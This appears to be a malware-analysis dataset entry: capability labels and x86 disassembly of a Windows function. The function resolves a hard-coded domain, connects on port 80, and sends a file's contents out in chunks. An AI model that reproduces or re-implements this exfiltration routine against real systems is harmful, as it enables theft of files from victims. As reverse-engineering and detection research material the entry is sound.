Function at 0x401936
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40196e
mov eax, 0xfffffffe
jmp 0x401b93
mov dword [esp], str.pp_context.inter_space.tech
call sub.WS2_32.dll_gethostbyname
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401990
mov eax, 0xffffffff
jmp 0x401b93
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov word [ebp - 0x2c], 2
mov dword [esp], 0x50
call sub.WS2_32.dll_htons
sub esp, 4
mov word [ebp - 0x2a], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x4019e1
mov eax, 0xfffffffd
jmp 0x401b93
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x18], eax
mov eax, 0x1000
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 0xc], 0
je 0x401a22
mov dword [esp + 8], 3
mov dword [esp + 4], 0x4b5168
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x401a66
cmp dword [ebp + 0x10], 0
jne 0x401a45
mov dword [esp + 8], 3
mov dword [esp + 4], 0x4b516c
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x401a66
cmp dword [ebp + 0x10], 1
jne 0x401a66
mov dword [esp + 8], 3
mov dword [esp + 4], 0x4b5170
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
add edx, 3
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x18]
add eax, 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x401ac6
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
mov eax, 0xfffffffc
jmp 0x401b93
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp + 0xc], 0
jne 0x401b0c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
mov eax, 0
jmp 0x401b93
mov dword [ebp - 0xc], 1
mov eax, 0x1000
mov edx, eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x18], eax
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x401b79
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x18], 0
je 0x401b81
jmp 0x401b13
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret